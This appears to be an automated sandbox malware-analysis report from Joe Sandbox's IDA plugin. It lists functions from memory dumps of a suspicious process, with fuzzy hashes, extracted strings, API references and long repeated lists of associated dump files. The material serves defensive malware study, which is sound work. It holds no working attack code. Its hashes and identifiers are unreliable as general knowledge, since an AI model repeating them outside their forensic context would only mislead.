Opcode Fuzzy Hash: e70e309fa6b2775f04a75177ee392d32b92ad81bfbec878832de4850216be191
Instruction Fuzzy Hash: 6D02B575E001199FCB08DFADDD81AEDB7B9EB98350F148129E905EB391E770AD41CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00CC0020 Relevance: 4.4, Strings: 3, Instructions: 641COMMON

Download Yara Rule

Strings

NTDL, xrefs: 00CC23E0
^S, xrefs: 00CC0BFB
^P, xrefs: 00CC1BA2

Memory Dump Source

Source File: 00000007.00000002.2928592869.0000000000C92000.00000040.00000001.01000000.00000006.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000007.00000002.2927405279.00000000009A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2927482190.00000000009A1000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2927941718.0000000000AB5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928161171.0000000000AB6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928233053.0000000000ADE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928307043.0000000000AE0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928429432.0000000000AE5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928542421.0000000000B37000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000B39000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C22000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C24000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C28000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C30000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C32000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C61000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C63000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C69000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2930639960.0000000000EBD000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931124712.0000000000F6F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931196216.0000000000F70000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001340000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001362000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_9a0000_zFe0EAtgy56yDxXht4nmozfb.jbxd

Similarity

API ID:
String ID: NTDL$^P$^S
API String ID: 0-1868886345
Opcode ID: bde9a960b329f442594b8d9da44b6e92486ee07fd4b031e808f2e6ed777db32a
Instruction ID: 05b48e9a9a0858ebfe2218c8b1491e9c7e5ed8d1b3c61e309531725f8a207792
Opcode Fuzzy Hash: bde9a960b329f442594b8d9da44b6e92486ee07fd4b031e808f2e6ed777db32a
Instruction Fuzzy Hash: 1D1203B250C600DFE711AE1ADC85FBEB7E0EF55310F2A492EDAC683240E6359541AB97

Uniqueness

Uniqueness Score: -1.00%

Function 009D3740 Relevance: 4.1, Strings: 3, Instructions: 347COMMON

Download Yara Rule

Strings

(, xrefs: 009D377E
tt{}, xrefs: 009D3796
n|jq, xrefs: 009D3788

Memory Dump Source

Source File: 00000007.00000002.2927482190.00000000009A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000007.00000002.2927405279.00000000009A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2927941718.0000000000AB5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928161171.0000000000AB6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928233053.0000000000ADE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928307043.0000000000AE0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928429432.0000000000AE5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928542421.0000000000B37000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000B39000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C22000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C24000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C28000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C30000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C32000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C61000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C63000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C69000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2930639960.0000000000EBD000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931124712.0000000000F6F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931196216.0000000000F70000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001340000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001362000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_9a0000_zFe0EAtgy56yDxXht4nmozfb.jbxd

Similarity

API ID:
String ID: ($n|jq$tt{}
API String ID: 0-4027825357
Opcode ID: 03a1e6d7fe531855dde5212731efe327af7e20bc861b5ebef0b156abd18dbd0a
Instruction ID: 4522db2f50147a5189c82f8c2aedb6ab9c530cb883b16c6755c7e1a01b67f371
Opcode Fuzzy Hash: 03a1e6d7fe531855dde5212731efe327af7e20bc861b5ebef0b156abd18dbd0a
Instruction Fuzzy Hash: E4D10170D00248DBDF14CFA8C954BEEBBB5AF55304F24825EE445AB382E7749B49CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00A10760 Relevance: 4.0, Strings: 3, Instructions: 234COMMON

Download Yara Rule

Strings

type must be number, but is , xrefs: 00A10887
/Kim, xrefs: 00A108E9
/Kim, xrefs: 00A10902

Memory Dump Source

Source File: 00000007.00000002.2927482190.00000000009A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000007.00000002.2927405279.00000000009A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2927941718.0000000000AB5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928161171.0000000000AB6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928233053.0000000000ADE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928307043.0000000000AE0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928429432.0000000000AE5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928542421.0000000000B37000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000B39000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C22000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C24000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C28000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C30000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C32000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C61000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C63000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C69000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2930639960.0000000000EBD000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931124712.0000000000F6F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931196216.0000000000F70000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001340000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001362000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_9a0000_zFe0EAtgy56yDxXht4nmozfb.jbxd

Similarity

API ID:
String ID: /Kim$/Kim$type must be number, but is
API String ID: 0-1346651665
Opcode ID: 8d450713b09695fa08940227aaa0269a5438422ee71471e6bf5b316b9effb0df
Instruction ID: 6fcca20e3f0a73eef76293f2c2b4ccb063414bf130abcc2be60dcb7e264f814a
Opcode Fuzzy Hash: 8d450713b09695fa08940227aaa0269a5438422ee71471e6bf5b316b9effb0df
Instruction Fuzzy Hash: 8D711672F042099BCB08CF6CD8917DDF7AAEB89320F14827EE919D7391D6755D868780

Uniqueness

Uniqueness Score: -1.00%

Function 00A30100 Relevance: 3.5, APIs: 2, Instructions: 465COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00A304A3
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00A30501

Memory Dump Source

Source File: 00000007.00000002.2927482190.00000000009A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000007.00000002.2927405279.00000000009A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2927941718.0000000000AB5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928161171.0000000000AB6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928233053.0000000000ADE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928307043.0000000000AE0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928429432.0000000000AE5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928542421.0000000000B37000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000B39000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C22000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C24000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C28000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C30000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C32000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C61000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C63000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C69000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2930639960.0000000000EBD000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931124712.0000000000F6F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931196216.0000000000F70000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001340000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001362000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_9a0000_zFe0EAtgy56yDxXht4nmozfb.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 885266447-0
Opcode ID: 8e8e92d2536c47a0c98dc780a6e3ad39671ee4fee939c1c2e87ef0085c65bb6f
Instruction ID: 347a2cfd58ef2b28f7a68376682e924ec3ffa510b4798985610b17e57dc1c1ca
Opcode Fuzzy Hash: 8e8e92d2536c47a0c98dc780a6e3ad39671ee4fee939c1c2e87ef0085c65bb6f
Instruction Fuzzy Hash: 5702E875E006198BCF18CFACD8A4BFDFBB1BF99310F19826AE955AB281D7744941C780

Uniqueness

Uniqueness Score: -1.00%

Function 00A12630 Relevance: 3.4, APIs: 2, Instructions: 392COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00A12841
Concurrency::cancel_current_task.LIBCPMT ref: 00A12AC5

Memory Dump Source

Source File: 00000007.00000002.2927482190.00000000009A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000007.00000002.2927405279.00000000009A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2927941718.0000000000AB5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928161171.0000000000AB6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928233053.0000000000ADE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928307043.0000000000AE0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928429432.0000000000AE5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928542421.0000000000B37000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000B39000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C22000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C24000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C28000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C30000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C32000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C61000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C63000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C69000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2930639960.0000000000EBD000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931124712.0000000000F6F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931196216.0000000000F70000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001340000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001362000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_9a0000_zFe0EAtgy56yDxXht4nmozfb.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: dd922a5820985ecd394bc1d514d76dd71723b6b92391d5f0311c12bb03005ca8
Instruction ID: 2c1a70158fc4e0532330c5182d7ba76ad1aec15c4341eafbee65f36c966f034d
Opcode Fuzzy Hash: dd922a5820985ecd394bc1d514d76dd71723b6b92391d5f0311c12bb03005ca8
Instruction Fuzzy Hash: A7D1C476A001558FCB18DFACDD91BEDBBB9BB98710F148229E805AF391D730ED518B90

Uniqueness

Uniqueness Score: -1.00%

Function 009B8BB0 Relevance: 2.7, Strings: 2, Instructions: 236COMMON

Download Yara Rule

Strings

%s|%s, xrefs: 009B8DF9
:, xrefs: 009B8CF0

Memory Dump Source

Source File: 00000007.00000002.2927482190.00000000009A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000007.00000002.2927405279.00000000009A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2927941718.0000000000AB5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928161171.0000000000AB6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928233053.0000000000ADE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928307043.0000000000AE0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928429432.0000000000AE5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928542421.0000000000B37000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000B39000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C22000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C24000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C28000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C30000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C32000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C61000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C63000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C69000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2930639960.0000000000EBD000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931124712.0000000000F6F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931196216.0000000000F70000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001340000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001362000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_9a0000_zFe0EAtgy56yDxXht4nmozfb.jbxd

Similarity

API ID:
String ID: %s|%s$:
API String ID: 0-1203899125
Opcode ID: eea03ba650601d490457bf7bf4ac4ba9f09b34a2eb1562b01dbccbcf1b84a2b1
Instruction ID: 581f12a97b25676aef986596e67dbe0cfc3214a90cc01156f1af223e7a0ade13
Opcode Fuzzy Hash: eea03ba650601d490457bf7bf4ac4ba9f09b34a2eb1562b01dbccbcf1b84a2b1
Instruction Fuzzy Hash: 62A1BC71D00209EFDB14DFA4CC99BEEBBB8EF48310F108258E545AB2A1D7746A41CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00A27270 Relevance: 2.0, Strings: 1, Instructions: 742COMMON

Download Yara Rule

Strings

@?, xrefs: 00A272FF

Memory Dump Source

Source File: 00000007.00000002.2927482190.00000000009A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000007.00000002.2927405279.00000000009A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2927941718.0000000000AB5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928161171.0000000000AB6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928233053.0000000000ADE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928307043.0000000000AE0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928429432.0000000000AE5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928542421.0000000000B37000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000B39000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C22000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C24000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C26000.00000040.00000001.01000000.00000006.sdmpDownload File
